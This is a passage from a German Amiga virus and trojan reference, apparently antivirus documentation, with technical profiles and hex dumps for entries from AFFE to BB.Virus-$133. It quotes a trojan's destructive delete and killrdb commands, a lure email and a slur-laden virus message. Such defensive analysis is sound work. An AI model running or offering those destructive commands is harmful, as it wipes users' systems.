  1068.    - AFFE-Virus   s.u. SADDAM-Clone
  1069.  
  1070.    - AFFEx2-LVirus   Linkvirusteil
  1071.       Fileverlaengerung: #1200 Bytes
  1072.       vgl. auch BBSTrav. und StrangeAt.
  1073.       Ab KS 2.04
  1074.       Nicht ResetFest (Am Anfang s.u.)
  1075.       Verbogene Vektoren: LoadSeg, 
  1076.                           Cool, DoIo (abhaengig von Zaehlzelle)
  1077.       Im LinkTeil ist zu lesen: 
  1078.           ff6c0ca8 affeaffe fffc6740 7200203c .l........g@r. <
  1079.                    ^^^^^^^^
  1080.               ;......
  1081.           46616872 74205a75 722048f6 6c6c6520 Fahrt Zur H.lle
  1082.           49687220 44726563 6b736368 7765696e Ihr Dreckschwein
  1083.           65202100                            e !.
  1084.               ;......
  1085.           42404840 4e753030 30313100 01020304 B@H@Nu00011.....
  1086.                                      ^^^^^^^^
  1087.         Nur der Text (Fahrt..) ist codiert und wird nie erreicht.
  1088.  
  1089.       Neu:
  1090.          Sucht beim Laden von Programmen in deren ersten Hunk nach
  1091.          bestimmten Buchstaben. Falls Antivirusprg.e geladen werden,
  1092.          entfernt sich das LinkPrg. sofort aus dem Speicher.
  1093.          (neue Idee)
  1094.          Funktioniert aber NICHT, wenn das Antivirusprg. VOR einem
  1095.          verseuchten File geladen wurde.
  1096.  
  1097.       Speicherverankerung:      
  1098.        - Test, ob Loadseg schon verbogen (AFFEAFFE)
  1099.        - Verbiegen von LoadSeg (siehe oben).
  1100.  
  1101.       Vermehrung:
  1102.        Fuer die Vermehrung wird NUR LoadSeg verwendet.
  1103.        Test auf:   
  1104.        - $3E9 (CodeHunk) wird gefunden
  1105.          Hinweis: 3E8-, 3F0-, 3F1-Hunks usw. werden ueberlaufen.
  1106.        - Filename enthaelt nicht . oder -
  1107.        - File noch nicht von dem eigenen Programm verseucht (01020304).
  1108.        - Medium validated und mind. 5 Blocks frei
  1109.        - File groesser #8500 und kleiner #180000 Bytes
  1110.        Das Teil linkt sich hinter den ersten Hunk, sucht im Original-
  1111.        Hunk nach $4EAE (jsr) und ersetzt jsr durch $4EBA (jsr(PC)).
  1112.        Die Sprungweite darf nicht groesser als $7FFE sein.
  1113.  
  1114.       Zerstoerung:
  1115.        Sobald eine Zaehlzelle einen hohen Wert und $DFF006 einen
  1116.        bestimmten Wert enthaelt, wird mit Cool und DoIo eine
  1117.        Zerstoerungsroutine aufgebaut.
  1118.        Trackdisk.device wird NICHT gefordert (also auch HD).
  1119.        Ab Block 0 (auch Rigid) wird in einer Schleife Muell geschrie-
  1120.        ben.                              
  1121.              pZyl 0 Bl 0   (Test mit Syquest)
  1122.          00: 2c780004 202efe3a 41fa0056 21400002 ,x.. ..:A..V!@..
  1123.          10: 41fa0008 2d48fe3a 4e750c69 0002001c A...-H.:Nu.i....
  1124.              ;usw.
  1125.        Da ist nichts mehr zu retten.
  1126.  
  1127.  
  1128.    - AFORT.BB  Inst.
  1129.        Bekannter Filename: vmemkill v1.2  Laenge: 3452 Bytes
  1130.        Versucht durch Text im Cli zu taeuschen. In Wirklichkeit soll
  1131.        ein Virus-BB im Speicher installiert werden. Grosse Probleme
  1132.        ab KS2.04 .
  1133.        VT bietet Loeschen an.
  1134.  
  1135.    - AFORT.BB  Virus
  1136.        Im Speicher immer ab $7F000
  1137.        Verbogene Vketoren: Cool, DoIo, SumKickData
  1138.        Fordert trackdisk.device NICHT .
  1139.        KS1.3: ja   ab KS2.04 GURU nach RESET (endlos)
  1140.        Beschreibt auch $102 und $112 .
  1141.        VT versucht alle drei Vektoren zurueckzusetzen.
  1142.        Im BB ist uncodiert zu lesen:
  1143.             6d6b0041 464f5254 20566972 75732076 mk.AFORT Virus v
  1144.             312e3074 2c207468 69732069 73206a75 1.0t, this is ju
  1145.  
  1146.  
  1147.    - AGA-Install-Trojan  Zerstoerungsfile
  1148.        anderer moeglicher Name: AMOS-AGA-Install
  1149.        Filename: AGA-Install.exe
  1150.        Laenge: 74492 Bytes
  1151.        Keine verbogenen Vektoren
  1152.        Nach readme: Amos_Pro AGA extension v1.0b
  1153.        Ablauf:
  1154.         Oeffnet einen eigenen Bildschirm und gibt aus z.B.
  1155.         Smoking AGA Extension Installer
  1156.         Wenn Sie nun auf Install klicken werden ALLE Files geloescht.
  1157.        Probieren Sie etwas mit Disksalv zu retten.
  1158.  
  1159.    - AGA-ITALY2-Fake   siehe bei ADO!-3-Trojan
  1160.  
  1161.    - ahkeym-Trojan   Zerstoerungsfile
  1162.        Laenge ungepackt: 2168 Bytes
  1163.        KEINE verbogenen Vektoren
  1164.        KEINE Vermehrung
  1165.        Empfehlung: sofort loeschen
  1166.        laut File.ID soll es sein:  A-Heaven Master keymaker
  1167.        Am Anfang des Files ist uncodiert zu lesen:
  1168.             724d5321 277e00a6 08726578 78737973 rMS!'~...rexxsys
  1169.             6c69622e 6c696272 61727900 52455858 lib.library.REXX
  1170.                ;.....
  1171.             3a1b451b 5b336d1b 5b33316d 20437245 :.E.[3m.[31m CrE
  1172.             61546544 20576954 683a1b5b 336d1b5b aTeD WiTh:.[3m.[
  1173.             316d2027 52655858 4d615348 65522720 1m 'ReXXMaSHeR'
  1174.                ;usw.
  1175.        Wenn ich das richtig verstanden habe:
  1176.         Es wird zuerst ein Scriptfile erstellt.
  1177.         Danach wird dieses File mit dem Tool Rexxmasher (hab ich JETZT)
  1178.         in ein ausfuehrbares File ($3F3) umgewandelt.
  1179.         Damit die Gefahr nicht sofort erkannt wird, wird das Script
  1180.         CODIERT in einem DataHunk untergebracht.
  1181.        Auszuege aus dem Script:
  1182.        a) gegen Prometheus  (BBS ??)
  1183.           sys:c/delete Prometheus:pmbs.key
  1184.           sys:c/delete Prometheus:daten/#?
  1185.           sys:c/delete Prometheus:bretter/#?
  1186.                 ;usw.
  1187.        b) gegen jedermann:
  1188.           sys:c/delete sys:s/#?
  1189.           sys:c/delete sys:c/#?    ;hier muesste dann schon Schluss sein
  1190.           sys:c/delete sys:libs/#? ;da c ja leer
  1191.                 ;usw.
  1192.        c) gegen jedermann, der in c das Programm killrdb (kenne ich nicht)
  1193.           hat. Duerfte aber nicht gehen, da c ja schon leer.
  1194.           sys:c/killrdb scsi.device all force
  1195.           sys:c/killrdb oktagon.device all force
  1196.                 ;usw.
  1197.           Am Schluss soll dann Reboot ausgefuehrt werden.
  1198.        Hinweis eines Anwenders (Juli 95): Danke
  1199.        a:
  1200.        RexxMasher   ist   ein   Tool,  welches  AREXX-Scripte  compiliert
  1201.        und  zu lauffaehigen Programmen macht.
  1202.        b:
  1203.        Alle  compilierten  Files  lassen  sich  mittels eines Passwortes
  1204.        wieder zu Arexxprogrammen machen. (Wusste ich NICHT)
  1205.        c:
  1206.        A-Heaven ist eine PMBS (Prometheus) Mailbox.
  1207.        A-Heaven hat bisher einige Tools fuer PMBS rausgebracht.
  1208.        Diese Tools sind alle in AREXX geschrieben.
  1209.  
  1210.  
  1211.    - aibon-Virus     siehe bei Express2.20-Virus
  1212.  
  1213.    - aibon 2-Virus   siehe bei Express2.20-Virus
  1214.  
  1215.    - Aids      Vkill-Clone siehe dort
  1216.          Unterschied: 3 Bytes
  1217.             1.Byte: in der Pruefsumme
  1218.             2.Byte: Vermehrungszaehler
  1219.             3.Byte: Einsprung in entschluesselten Text
  1220.         (ein Prg. springt z.B. nach $7ebc3, das 2. Prg. nach $7eba9)
  1221.  
  1222.    - AIDS-HIV  SCA-Clone, Cool immer 7EC3E, nur anderer Text
  1223.  
  1224.    - AIFS-JITR-Virus  BB  Clone s.u. bitte nicht mit A.I.F.S verwechseln
  1225.        Nur Texte geaendert
  1226.         444f5300 2e56d968 41494653 2c790000 DOS..V.hAIFS,y..
  1227.        Belegt seinen Speicherbereich nicht und kann deshalb bei 1Meg
  1228.        von VT überschrieben werden und ist damit auch zerstoert. Bei
  1229.        5 Meg wird das Teil sicher erkannt. Der Speicherplatz spielt
  1230.        KEINE Rolle bei der BB-Erkennung.
  1231.  
  1232.  
  1233.    - AKIMO-Virus      File  Link
  1234.          Installer: unbekannt
  1235.          Versionsabfrage: nein
  1236.          Namensbegruendung: siehe unten
  1237.          Verbogene Vektoren: nein
  1238.          Eigener Process:  audio.device,a0
  1239.                  (a0=unsichtbar am Ende, damit Original-audio.device
  1240.                   nicht beruehrt)
  1241.          Resetfest: Nein
  1242.          Fileverlaengerung: 1424 Bytes
  1243.          Link als erster Hunk.
  1244.          VT versucht den Process im Speicher abzuschalten.
  1245.          VT versucht den Linkteil aus einem File auszubauen.
  1246.          Im Linkteil ist zu lesen: 
  1247.             732e6c69 62726172 79006175 64696f2e s.library.audio.
  1248.             64657669 6365a000 6466303a 63004c6f device..df0:c.Lo
  1249.                          ^^   ^^^^^^
  1250.             61645742 00446972 00547970 65004d6f adWB.Dir.Type.Mo
  1251.             756e7400 0000496e 7374616c 6c005365 unt...Install.Se
  1252.             74436c6f 636b0045 6e64436c 69004c69 tClock.EndCli.Li
  1253.             7374004d 616b6564 69720000 00000064 st.Makedir.....d
  1254.          Verankerung im Speicher:
  1255.          Eigener Process, der alle 90 Sekunden gestartet wird.
  1256.  
  1257.          Vermehrungsbedingungen:
  1258.            - Medium validated
  1259.            - File ausfuehrbar ($3F3)
  1260.            - kein Hunk_Name  (4(File) muss 0 sein)
  1261.            - kein Hunk_Overlay ($c(File) muss 0 sein)
  1262.            - kein Hunk_Reloc (hat keine Routine um Nr. zu aendern)
  1263.            - File ist noch nicht verseucht (Test auf $160)
  1264.            - betroffenen LWe:
  1265.              In einem Loop wird df0 (s.o.) in df3-df0 und dh3-dh0
  1266.              umbenannt.
  1267.            - betroffenen Files: loadWB usw. s.o.
  1268.              Es wird nach 90 Sekunden das naechste File und/oder das
  1269.              naechste LW gesucht. Diese ungewollten Zugriffe muessten
  1270.              auffallen. Da die obengenannten Files bei manchen WB-Versionen
  1271.              Reloc-Hunks besitzen, werden die entsprechenden Files
  1272.              dann nicht verseucht (getestet WB1.1-WB3.1).
  1273.  
  1274.          Das Teil soll sich melden, sobald eine Zaehlstelle den
  1275.          Wert $96 erreicht hat.
  1276.            - Der Mauszeiger wird in einen Text geaendert.
  1277.                    AKIMO
  1278.                     OF
  1279.                    MAGIC
  1280.  
  1281.  
  1282.    - Alfons-Eberg-2.0-Trojan  siehe bei Wireface
  1283.  
  1284.    - AlienNewBeat    Cold, Cool, DoIo, nur KS1.2, Fastmem ja
  1285.          im Speicher immer ab $20000
  1286.          Vermehrung: ueber BB          Vermehrungszaehler: $2037e
  1287.          Text im BB sichtbar: z.B.
  1288.          THIS IS THE ALIEN NEW BEAT BOOT!
  1289.          Clone: EXORCIST , SATAN usw.
  1290.  
  1291.  
  1292.    - Ami-Hacker.BBS    File   Laenge gepackt : 3560 Bytes
  1293.                               Laenge entpackt: 4460 Bytes
  1294.        Fundort z.B.: CD-LSD2:A/COMMS/AMIEX/ACS_HACK.LHA 
  1295.        Keine Vermehrungsroutine
  1296.        Keine verbogenen Vektoren
  1297.        Also KEIN Virus
  1298.        Zielgerichtet gegen AmiExpress. Soll Daten aus der Mailbox be-
  1299.        sorgen.
  1300.        Im File ist zu lesen:
  1301.           000000b5 54686520 416d692d 45787072 ....The Ami-Expr
  1302.           65737320 50617373 576f7264 20486163 ess PassWord Hac
  1303.           6b65722e 20427920 43726179 2d312046 ker. By Cray-1 F
  1304.        Empfehlung: Loeschen
  1305.        Siehe auch unten bei IconD-Typ E
  1306.  
  1307.    - AmIRC-DC-Trojan  (Backdoor)
  1308.        Filename: AmIRC020    L: 257436 Bytes
  1309.        Im File ist zu lesen:
  1310.           66662900 256c6400 416d4952 4320322e ff).%ld.AmIRC 2.
  1311.           302e3420 2831322e 322e3938 29202d20 0.4 (12.2.98) -
  1312.           536d6163 6b656420 75702062 79204469 Smacked up by Di
  1313.           47695461 4c20436f 52527550 54696f4e GiTaL CoRRuPTioN
  1314.           20313939 38210076 65640000 53004900  1998!.ved..S.I.
  1315.        Also auf jeden Fall nicht das aktuelle Original-AmIRC020-Programm.
  1316.        Nach Fremdaussagen soll in diesem Programm ein Backdoor ent-
  1317.        halten sein. "Insidern" scheinen die wiederholten Aktivi-
  1318.        taeten von Digital Corruption schon laenger bekannt zu sein,
  1319.        und die entsprechenden Amiga-Programme sollen inzwischen
  1320.        Abwehreintraege ermoeglichen.  (Stand: Maerz 98)
  1321.  
  1322.  
  1323.    - AMIDA-FORPIB  Virus   BB   Forpib-Clone  s.u.
  1324.           2e2e414d 4944412e 2e2e2e2e 2e2e2e2e ..AMIDA.........
  1325.  
  1326.    - AMIGA FANATIC Virus   BB
  1327.        Im Speicher immer ab $7F300.
  1328.        Verbogene Vektoren: Cool $7F372  DoIo $7F3A8
  1329.        KS2.04: bei mir GURU4 nach RESET mit schreibgeschuetzter Disk
  1330.        Fordert trackdisk.device nicht.
  1331.        Verlangt aber DOS0 .
  1332.        Vermehrung: BB
  1333.        Schaeden:
  1334.        Sobald eine Zaehlzelle den Wert 3 erreicht hat, soll der Root-
  1335.        bereich ($6E000 stimmt nur bei DD-Disk) mit Muell aus Speicher
  1336.        ab $70000 gefuellt werden.
  1337.        Das Virusteil meldet sich nicht mit Text.
  1338.        Im BB ist uncodiert zu lesen:
  1339.           f18051c8 ffec4e75 20202020 20202041 ..Q...Nu       A
  1340.           4d494741 2046414e 41544943 20202056 MIGA FANATIC   V
  1341.  
  1342.  
  1343.    - Amiga Freak    Forpib-Clone  s.u.
  1344.          nur Name im BB geaendert
  1345.  
  1346.    - AMIGAKNIGHTVIRUS    Filevirus  Laenge: 6048 (ungepackt)
  1347.          DoIo, KickTag, KickCheckSum
  1348.          Schreibt in Root das File init_cli und auch in startup-sequence
  1349.          Sonst keine Schaeden festgestellt.
  1350.          Nach 5 Resets wird der Bildschirm schwarz und rosa Schrift fuer
  1351.          Text. Der Text ist bis dahin codiert.
  1352.  
  1353.             oberer Bildschirmbereich:
  1354.                YEAH, THE INVASION HAS STARTED! YOUR
  1355.                TIME HAS RUN OUT, AND SOON WE WILL BE
  1356.                            EVERYWHERE!
  1357.  
  1358.             Bildschirmmitte:   Vektordemo
  1359.  
  1360.             unterer Bildschirmbereich:
  1361.                THIS IS GENERATION 0039 OF THE EVIL
  1362.                         AMIGAKNIGHTSVIRUS
  1363.              GREETINGS TO DUFTY, DWARF, ASID CUCUMBER
  1364.               ASTERIX, ANDY, AND ALL AMIGIANS I KNOW
  1365.  
  1366.          Vektordemo: 3 TextTeile erscheinen mit Zoomeffekt nacheinander
  1367.                      a)    Toco of
  1368.                      b)      THE
  1369.                      c)  AMIGAKNIGHTS
  1370.  
  1371.    - AmiPatch-Virus V1.0a    File   Laenge:8288 Bytes
  1372.          Wahrscheinlich ein Einbruchswerkzeug, also ungefaehrlich fuer
  1373.          den Normal-User ohne Mailbox.
  1374.          Oeffnet user.data und legt ein neues File an (doswrite):
  1375.           bbs:011011
  1376.          Ich haette das Programm nicht aufgenommen, wenn es nicht auch
  1377.          OHNE Hauptprogramm in der Shell behaupten wuerde, zu opti-
  1378.          mieren (Prozentzahlen).
  1379.          Hinweis 12.94: Ein Antivirusprogramm erkennt in den Files
  1380.          MakeIcon, SCSIMaskFix, CDSETMAP, FixIcon usw.
  1381.          ebenfalls das AmiPatch-Virus. Ich gehe davon aus, dass die
  1382.          FEHLERKENNUNG im naechsten Update behoben sein wird.
  1383.  
  1384.    - AmixHack-Trojan     gegen BBS
  1385.          bekannte Filenamen: AmixHack0 , 1, 2, 3, 4
  1386.          Laenge gepackt:   8348 Bytes
  1387.          Laenge ungepackt: 11644 Bytes
  1388.          Keine verbogenen Vektoren
  1389.          Keine Vermehrung
  1390.          Im File ist zu lesen:
  1391.                                            7379               sy
  1392.             733a632f 44656c65 74652042 42533a4e s:c/Delete BBS:N
  1393.             6f646530 2f43616c 6c657273 4c6f6700 ode0/CallersLog.
  1394.             002c7379 733a632f 636f7079 20424253 .,sys:c/copy BBS
  1395.             3a557365 722e4461 74612074 6f206c69 :User.Data to li
  1396.             62733a54 54412e4c 69627261 72790000 bs:TTA.Library..
  1397.          Fuer Amiga-User ohne Mailbox ungefaehrlich.
  1398.          VT bietet Loeschen an.
  1399.  
  1400.    - Amos-AGA-Install-Trojan  siehe bei AGA-Install-Trojan
  1401.  
  1402.    - AmosJoshua-Trojan
  1403.          3 Files alle gepackt
  1404.          in Amos programmiert
  1405.          Sie muessen alle 3 Files loeschen und loadwb neu kopieren
  1406.          Ausloesefile: msxR.exe Laenge: 128800 Bytes
  1407.          Entpackt ist im file zu lesen:
  1408.            00540000 00620008 433a4c6f 61645742 .T...b..C:LoadWB
  1409.            0008633a 6c6f6164 7762000f 64676764 ..c:loadwb..dggd
  1410.            66676466 6766676a 61726c00 00000000 fgdfgfgjarl.....
  1411.          Es wird also in c loadwb angelegt Laenge: 84772 Bytes
  1412.          Entpackt ist in loadwb zu lesen:
  1413.            000000b2 000000b8 000a7261 6d3a6c6f ..........ram:lo
  1414.            61647762 000a7261 6d3a6c6f 61647762 adwb..ram:loadwb
  1415.            000a7261 6d3a6c6f 61647762 00177379 ..ram:loadwb..sy
  1416.            733a7762 73746172 7475702f 776f726b s:wbstartup/work
  1417.            62656e63 6800001c 7379733a 77627374 bench...sys:wbst
  1418.            61727475 702f776f 726b6265 6e63682e artup/workbench.
  1419.            696e666f 00000000 000003f2 000003e9 info............
  1420.          Beim naechsten Computerstart legt loadwb in wbstartup: das
  1421.          File workbench an. Laenge: 40668 Bytes
  1422.          Entpackt ist in workbench zu lesen:
  1423.            00000150 00000158 00177379 733a7762 ...P...X..sys:wb
  1424.            73746172 7475702f 776f726b 62656e63 startup/workbenc
  1425.            6800001c 7379733a 77627374 61727475 h...sys:wbstartu
  1426.            702f776f 726b6265 6e63682e 696e666f p/workbench.info
  1427.            00244775 52755820 6d456449 74417449 .$GuRuX mEdItAtI
  1428.            6f4e7a3a 205b4a6f 53685561 b4532074 oNz: [JoShUa.S t
  1429.            526f4a61 4e5d002f 41644472 457a5a3a RoJaN]./AdDrEzZ:
  1430.            205b794f 75522043 6f6d5075 5465525d  [yOuR ComPuTeR]
  1431.            20205461 5a6b3a20 5b537953 74456d20   TaZk: [SyStEm
  1432.            4b694c6c 45725d00 0026204d 6f526520 KiLlEr]..& MoRe
  1433.            694e664f 724d6154 694f6e3a 205a6f4d iNfOrMaTiOn: ZoM
  1434.            62496540 70416c41 2e7a5a6e 2e436f4d bIe@pAlA.zZn.CoM
  1435.  
  1436.    - AmosJoshua-Clone-Trojan
  1437.          Einige Tage spaeter aufgetaucht
  1438.          Spanische Doc
  1439.          3 Files alle nicht gepackt
  1440.          In Amos programmiert
  1441.          Sie muessen alle 3 Files loeschen und loadwb neu kopieren
  1442.          Ausloesefile: SonicIIAmiga.exe Laenge: 182452 Bytes
  1443.            63617267 616e646f 20626c6f 71756573 cargando bloques
  1444.            2e2e2e2e 2e000008 633a6c6f 61647762 ........c:loadwb
  1445.            0007746f 6e696969 69000000 00000000 ..toniiii.......
  1446.          In loadwb (Laenge: 122836 Bytes) ist zu lesen:
  1447.            000000aa 000000b0 000a7261 6d3a6c6f ..........ram:lo
  1448.            61647762 000a7261 6d3a6c6f 61647762 adwb..ram:loadwb
  1449.            000a7261 6d3a6c6f 61647762 001a7379 ..ram:loadwb..sy
  1450.            733a7762 73746172 7475702f 6d69616d s:wbstartup/miam
  1451.            692e636f 6e666967 001f7379 733a7762 i.config..sys:wb
  1452.            73746172 7475702f 6d69616d 692e636f startup/miami.co
  1453.            6e666967 2e696e66 6f000000 00000000 nfig.info.......
  1454.          In wbstartup/miami.config (Laenge 60728 Bytes) wurde nicht
  1455.          soviel Text wie in workbench (s.o.) gefunden:
  1456.            00000000 00000000 00007365 7269616c ..........serial
  1457.            2e646576 69636500 7072696e 7465722e .device.printer.
  1458.            64657669 63650070 6172616c 6c656c2e device.parallel.
  1459.            64657669 63650000 246d0148 d4fc0000 device..$m.H....
  1460.  
  1461.    - ANDY-Virus  File
  1462.          siehe unten bei conclip-Virus
  1463.  
  1464.    - ANDY.BB-Virus  BB
  1465.          siehe unten bei Joshua4-Virus
  1466.  
  1467.    - Angel-Virus  BB  Cool, PutMsg, Wait
  1468.          Fordert trackdisk.device NICHT
  1469.          Nach RESET GURU, da Cool absoluten Sprung enthaelt:
  1470.                    4EF9 000110CC  JMP $110CC    (Anfaenger !!)
  1471.          Namensbegruendung: s.u.
  1472.          Vermehrung: ueber BB  (auch wenn die Cool-Routine falsch ist)
  1473.              Jeder BB sieht anders aus, da codiert mit Wert aus $DFF007 .
  1474.          Schaeden: Abhaengig von einer Zaehlzelle wird ueber Seek ein
  1475.              KopfStep ausgefuehrt. Die Textausgabe (s.u.) ist mir nicht
  1476.              gelungen.
  1477.              Text im Speicher decodiert mit:  eor.b d2,(a1)+
  1478.                                 54686520 54726176         The Trav
  1479.               656c206f 66207468 6520416e 67656c2d el of the Angel-
  1480.               56697275 73204765 6e657261 74696f6e Virus Generation
  1481.               204e722e 30303030 30202048 69204275  Nr.00000  Hi Bu
  1482.               746f6e69 63202620 47616e64 616c6600 tonic & Gandalf.
  1483.               4c617566 7765726b 20444630 3a206973 Laufwerk DF0: is
  1484.               74206c65 69646572 20626573 6368e464 t leider besch.d
  1485.               6967742e 2e2e0000                   igt...
  1486.          VT-kennt: 02.12.92
  1487.  
  1488.    - Animal-Virus  SADDAM-Clone
  1489.          Blocklangwort: $363636a0
  1490.          Namensbegruendung: im Speicher ist decodiert zu lesen
  1491.               74726163 6B646973 6B2E6465 76696365 trackdisk.device
  1492.               00010820 416E696D 616C2056 69727573 ... Animal Virus
  1493.          Behandlung: siehe bei SADDAM     28.03.93
  1494.  
  1495.    - Animation-Trojan   Zerstoerung
  1496.          Archivname: Amination.lha
  1497.          Filename:   Animation  Laenge: 23244 Bytes
  1498.          Keine verbogenen Vektoren
  1499.          VT bietet Loeschen an
  1500.          Schaden: Greift mit DoIo auf scsi.device zu
  1501.          Das Zerstoerungsfile enthaelt ein weiteres Programm (ALook),
  1502.          das nie erreicht wird.
  1503.          Das Teil wurde in einer Mailing-Liste veroeffentlicht:
  1504.             Hi everyone!<br>
  1505.      <p>
  1506.      I'm trying to write my first Amiga program - a fractal generator.<br>
  1507.      It's supposed to open a window and do some drawings in it.<br>
  1508.      Unfortunately, it displays some strange garbage on the screen.<br>
  1509.      I attached binary file to this message  - could you PLEASE check<br>
  1510.      this out?<br>
  1511.      <p>
  1512.      Any help appreciated<br>
  1513.      <p>
  1514.      Thanks in advance<br>
  1515.      Stan<br>
  1516.      <p>
  1517.      <p>
  1518.      <p>
  1519.      Content-Type: application/octet-stream; name="Animation.lha"<br>
  1520.      Content-Transfer-Encoding: base64<br>
  1521.  
  1522.    - ANTI-KANACKEN-Virus     BB  SCA-Clone   (s.u.)
  1523.          Namensbegruendung:
  1524.               6f732e6c 69627261 72790000 44617320 os.library..Das
  1525.               414e5449 2d4b414e 41434b45 4e205669 ANTI-KANACKEN Vi
  1526.               72757320 28536965 67204865 696c292d rus (Sieg Heil)-
  1527.          Hallo ihr jungen Leute im wiedervereinigten Deutschland. Wollt
  1528.          ihr, dass die Welt Grund hat, mit dem Finger auf uns zu zeigen.
  1529.          So schafft ihr es bestimmt, ALLES was eure Eltern in 47 Jahren
  1530.          aufgebaut haben, in kurzer Zeit kaputt zu machen. Denkt BITTE
  1531.          nach !!!
  1532.          VT-kennt: 17.10.92
  1533.  
  1534.    - Antichrist-Virus   Link     dosbase+$2e  KS2.04: nein
  1535.          Grundgeruest war ein Trav. Jack  (siehe unten)
  1536.          Namensbegruendung: im Speicher ist zu lesen:
  1537.            20202020 20202020 20202020 20202020
  1538.            20202020 20202020 20546865 20416e74          The Ant
  1539.            69636872 69737420 332f342f 39322020 ichrist 3/4/92
  1540.            20202020 20202020 20202020 20202020
  1541.          Unterschiede zu Trav, Jack:
  1542.            - legt ab und zu ein File an mit der Laenge: #26 Bytes
  1543.              Name Antichrist.X  (das X wechselt, siehe Beispiel).
  1544.              Inhalt des Textfiles siehe Beispiel
  1545.             Antichrist.Y
  1546.             0c0a0d54 68652041 6e746963 68726973 ...The Antichris
  1547.             74206973 20626163 6b0a0000 00000000 t is back.......
  1548.            - Codierung des VirusPrg.s fehlt.
  1549.            - Hunklaenge wechselnd $24f oder $250
  1550.          VT erkennt und loescht im Speicher: 13.03.93
  1551.          VT erkennt und baut aus im File   : 14.03.93
  1552.          VT erkennt und loescht neues File : 14.03.93
  1553.  
  1554.  
  1555.    - AramDol-Virus      File  Link
  1556.          vgl. auch xcom-LVirus, HappyNewY.96
  1557.          ab KS2.04: ja   (Versionsabfrage auf mind. #37)
  1558.          Namensbegruendung:  im Linkteil ist uncodiert zu lesen: 
  1559.             0004202e 0202b0bc fffff3ec 674c7025 .. .........gLp%
  1560.                   ;....       ^^^^^^^^
  1561.             293e2041 72616d2d 446f6c20 3c28000d )> Aram-Dol <(..
  1562.                   ;....
  1563.             646f732e 6c696272 61727900 000003ef dos.library.....
  1564.                                            ^^^^
  1565.          Verbogener Vektor: LoadSeg LastAlert
  1566.          Resetfest: Nein
  1567.          Fileverlaengerung: 560 Bytes
  1568.          Link hinter den ersten Hunk.
  1569.          VT versucht Loadseg im Speicher zurueckzusetzen.
  1570.          VT versucht den Linkteil aus einem File auszubauen.
  1571.          Speicherverankerung:
  1572.            - LastAlert (FFFFF3EC) darf noch nicht verbogen sein
  1573.            - LoadSeg wird verbogen
  1574.          Vermehrungsbedingungen:
  1575.            - File ist noch nicht verseucht (Test 3EF)
  1576.            - Filename enthaelt nicht ".l" oder "-"
  1577.            - max. Filelaenge #80000 Bytes
  1578.            - min. Filelaenge #3000 Bytes
  1579.            - 3E9-Hunk wird gefunden  (Loop)
  1580.            - Disk validated
  1581.            - mind. 4 Block frei
  1582.            - RTS wird gefunden  ( max. loop $3F )
  1583.            - RTS wird ersetzt durch bra.s oder NOP (falls RTS genau
  1584.              am Ende des ersten Originalhunks)
  1585.          Ueberspringt 3E8,3F0,3F1-Hunks usw. !!!!!
  1586.          Das Teil meldet sich nicht.
  1587.          Hinweis:
  1588.          Falls Ihre HD sehr verseucht ist, dann beginnen Sie bitte mit
  1589.          dem C-Verz. (File-Speicher-File). Das haeufige Neueinlesen
  1590.          wird dadurch geringer.
  1591.  
  1592.  
  1593.    - Art Byte Bandit     anderer Name: ByteBanditPlus    s.u.
  1594.  
  1595.    - ASSASSIN  Virus   BB   SCA-Clone  s.u.
  1596.            43544544 20425920 54484520 20202050 CTED BY THE    P
  1597.            50041f41 53534153 53494e20 56495255 P..ASSASSIN VIRU
  1598.            53202020 20202020 20202020 20202020 S
  1599.  
  1600.    - ASSHOLE-Virus   BB
  1601.          Verbogene Vektoren: Cool, DoIo
  1602.          Im Speicher immer ab $70000
  1603.          Fordert trackdisk.device NICHT
  1604.          Im BB ist uncodiert zu lesen:
  1605.            20313939 34202020 20204954 6053204e  1994     IT`S N
  1606.            4f542041 20545249 434b2e2e 2e2e2049 OT A TRICK.... I
  1607.            54605320 41204153 53484f4c 45202121 T`S A ASSHOLE !!
  1608.            21202020 20202020 20202031 39393420 !          1994
  1609.          Hinweis: Schreibt bei mir nicht. Fehler in der Programmierung.
  1610.          Also fuer die Erbsenzaehler
  1611.  
  1612.  
  1613.    - ASV-Virus  immer $7DC00, Cool, im Prg Forbid, loescht KickTag usw.
  1614.          keine Vermehrungsroutine
  1615.          Schaden: verbiegt mit setfunction Forbid auf ChipAllocMem-Routine
  1616.                   d.h. bei jedem Forbid-Aufruf geht ChipMem verloren.
  1617.  
  1618.    - ASYLANT-Virus    SCA-Clone  nur Text geaendert
  1619.                                       2048616c              Hal
  1620.            6c6f2069 63682062 696e2065 696e2020 lo ich bin ein
  1621.            4153594c 414e5420 21212121 21212121 ASYLANT !!!!!!!!
  1622.  
  1623.    - ATARI   File   BGS9-Clone  s.u.  Laenge:2609 Bytes
  1624.            00000000 41544152 49000003 f3000000 ....ATARI.......
  1625.          Siehe auch bei BGS9
  1626.          Seit wann bitte ist ein Programm mit UNGERADER Laenge lauf-
  1627.          faehig (Sollte loadhunk defekt ausgeben). Man kann nicht
  1628.          einfach aus TTV1 den Text ATARI machen und damit alles um
  1629.          1 Byte verlaengern. Anfaenger !!!
  1630.  
  1631.    - Australian Parasite   Fastmem ja, Cool, DoIo, im Prg. BeginIo
  1632.          Vermehrung: ueber BB
  1633.          ueber GraphikRoutine wird BildschirmInhalt gedreht
  1634.          im BB sichtbar:
  1635.          The Australien Parasite!
  1636.           By Gremlin 18/5/88!
  1637.           Will NOT destroy game bootsectors or corrupt disks,
  1638.           and kill other viruses!
  1639.       HINWEIS: manchmal gibt VirusX Australian Parasite aus, obwohl
  1640.       es sich um den SADDAM Disk-Validator handelt !!!!
  1641.  
  1642.    - Aust.Par-Clone  BB  anderer Name:SHI-Virus
  1643.          Nur Text geaendert: 
  1644.            20576520 6c696b65 20566972 692e2043  We like Viri. C
  1645.            616c6c20 5658512d 42425320 28343136 all VXQ-BBS (416
  1646.            29203332 34203934 3339202e 53656e64 ) 324 9439 .Send
  1647.            206e6577 20766972 69202c20 77656c63  new viri , welc
  1648.            6f6d6520 746f2042 42532020 3a000018 ome to BBS  :...
  1649.            00002053 48492153 48492153 48492153 .. SHI!SHI!SHI!S
  1650.  
  1651.    - AutoBootingBootProtector V2.0    anderer Name: VCCofTNT-Virus  s.u.
  1652.  
  1653.    - BB.Virus-$133
  1654.        Name: nach Code-Laenge im BB, da kein Text vorhanden
  1655.        Nicht Resetfest
  1656.        Verbogener Vektor: DoIo
  1657.        68030: ja
  1658.        Test auf trackdisk.device: ja
  1659.        Vermehrung: mit DoIo, falls Kennung "DO" gefunden.
  1660.        Zerstoerung: ein Block wird in Abhaengigkeit von $DFF007 mit
